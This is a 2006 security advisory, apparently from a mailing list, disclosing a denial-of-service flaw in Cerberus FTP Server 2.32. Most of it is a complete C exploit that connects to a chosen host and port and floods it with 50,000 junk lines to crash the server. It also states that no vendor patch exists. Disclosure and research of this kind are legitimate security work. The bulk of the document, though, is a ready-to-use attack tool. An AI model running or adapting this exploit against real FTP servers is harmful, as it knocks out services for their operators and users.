Cerberus FTP Server 2.32 Denial of Service

[cvh () securityfocus com, a () securityfocus com, kapda.ir () securityfocus com]

Cerberus FTP Server 2.32 Denial of Service

Denial of Service(DoS)

-------

KAPDA New advisory

Vulnerable products : Cerberus FTP Server 2.32
Vendor: http://www.cerberusftp.com/
Risk: High
Vulnerabilities: Denial of service

Date :
--------------------
Found : Aug 21 2005
Vendor Contacted : Aug 21 2005
Release Date : Jan 14 2006

About Cerberus FTP Server :
--------------------
Cerberus FTP ServerTM provides industrial strength secure SSL/TLS encryption and powerful FTP server performance 
without sacrificing ease-of-use. Designed to use very little CPU and memory, Cerberus features a user-friendly 
interface that can be easily hidden or accessed from the system tray. The server is able to listen for connections on 
multiple interfaces (Multi-homed PCs), integrate with the Windows NT user database or Active Directory, run as an NT 
service, resume failed transfers, and offers an easy-to-use manager for controlling user access to files and file 
operations. Connection limit, timeout, and IP access can be controlled by the administrator as well as a variety of 
other settings. In addition, Cerberus FTP Server offers statistics on connections as well as robust logging 
capabilities. The server adheres to RFC959 and RFC1123.

Vulnerability:
--------------------
Denial of service:
A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss of 
service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim 
network or overloading the computational resources of the victim system.

Exploit:
--------------------
cerberus_232_dos_remote_xpl.c
CODE
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "%s"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s,i;
 char *request;
 char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
 header();
 if( (argc < 2) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,junk_data);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 for(i=0;i<50000;i++)
  if ( send ( s, request, strlen (request), 0) <= 0 )
  {
          printf("[e] Failed to send buffer\n");
          close(s);
          exit(1);
  }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}




Solution:
--------------------
Vendor couldn't care less, so no patch exits.


Credit :
--------------------
Discoverd by cvh [at} kapda.ir
Exploit by pi3ch [at} kapda.ir
Grtz to all members of KAPDA and GSO.
KAPDA - Computer Security Science Researchers Institute
http://www.KAPDA.ir